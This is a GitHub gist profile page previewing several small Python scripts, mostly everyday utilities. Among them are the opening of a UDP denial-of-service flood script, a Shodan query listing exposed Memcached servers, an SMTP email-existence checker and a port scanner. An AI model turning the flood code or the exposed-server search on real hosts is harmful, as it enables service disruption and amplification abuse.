Skip to content

Instantly share code, notes, and snippets.

View MayankFawkes's full-sized avatar
πŸŽ“
Open to work on github projects

Mayank Gupta MayankFawkes

πŸŽ“
Open to work on github projects
View GitHub Profile
from time import ctime,sleep
while True:
print(ctime(),end="\r")
sleep(0.1)
@MayankFawkes
MayankFawkes / decoder.py
Created October 1, 2019 20:07
best way to use decoders
import threading
import time
from functools import wraps
def thread(printd):
def wrapper(function):
def pw(*args, **kwargs):
def process(*args, **kwargs):
print("Started")
function(*args, **kwargs)
t=threading.Thread(target=process,args=args, kwargs=kwargs)
@MayankFawkes
MayankFawkes / voice_recognition.py
Created October 1, 2019 20:00
lets talk with your program script for voice recognition
#!/usr/bin/env python
# encoding=utf-8
# pip install pyaudio and pip install SpeechRecognition
import speech_recognition as sr
r = sr.Recognizer()
with sr.Microphone() as source:
print("Speak Anything :")
audio = r.listen(source)
try:
@MayankFawkes
MayankFawkes / gmail_email_verify.py
Last active October 1, 2019 19:53
verify email of gmails and some other email provider
#pip install dnspython
import re
import smtplib
import dns.resolver
fromAddress = 'noreply@verifyemailaddress.org'
regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$'
inputAddress = "YOUR EMAIL HERE"
addressToVerify = str(inputAddress)
match = re.match(regex, addressToVerify)
if match == None:
@MayankFawkes
MayankFawkes / dns_leak.py
Created October 1, 2019 19:34
dns leak test
#!/usr/bin/env python
# encoding=utf-8
# Any questions: lal45325@gmail.com
# https://bash.ws/dnsleak
import os, json, subprocess
from random import randint
from platform import system as system_name
from subprocess import call as system_call
from random import randint
@MayankFawkes
MayankFawkes / udp_flood.py
Created October 1, 2019 19:12
dos udp flood
import socket,signal,sys
import random
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
host="127.0.0.1"
port=80
bytes=random._urandom(10040)
s.connect((host, port))
send=0
def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
@MayankFawkes
MayankFawkes / port_scanner.py
Last active October 1, 2019 19:22
simple port scanning script
import socket,sys,os
host=input("host :")
pfrom=input("Port from :")
pto=input("Port to :")
def TCP_connect(ip, port_number):
TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
TCPsock.settimeout(0.5)
try:
TCPsock.connect((ip, port_number))
@MayankFawkes
MayankFawkes / shodan_search.py
Created October 1, 2019 17:34
shodan search
import shodan
api=shodan.Shodan(API_KEY_HERE)
results = api.search('product:"Memcached" port:11211')
print('Results found: {}'.format(results['total']))
for n in results["matches"]:
print("http://"+n["ip_str"]+":"+str(n["port"]))
@MayankFawkes
MayankFawkes / download.py
Created October 1, 2019 16:41
download things with small script
import urllib.request
'''
url="https://pro.sabsongs.com/k7fh57dj648jd/bollywood/Raabta%20-%20Ik%20Vaari%20Aa.mp3"
name="kk"
'''
url=input("Enter Url ~$")
name=input("File Name ~$")
url1=url.split(".")
len=len(url1)
@MayankFawkes
MayankFawkes / delete_discord_message.py
Created October 1, 2019 16:39
delete all discord messages
import json, requests, sys
def logo():
print("\n\tβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— ")
print("\tβ–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—")
print("\tβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘")
print("\tβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘")
print("\tβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•")
print("\tβ•šβ•β•β•β•β•β• β•šβ•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β• ")
print("\t=================+I am Ready+=======================")
logo()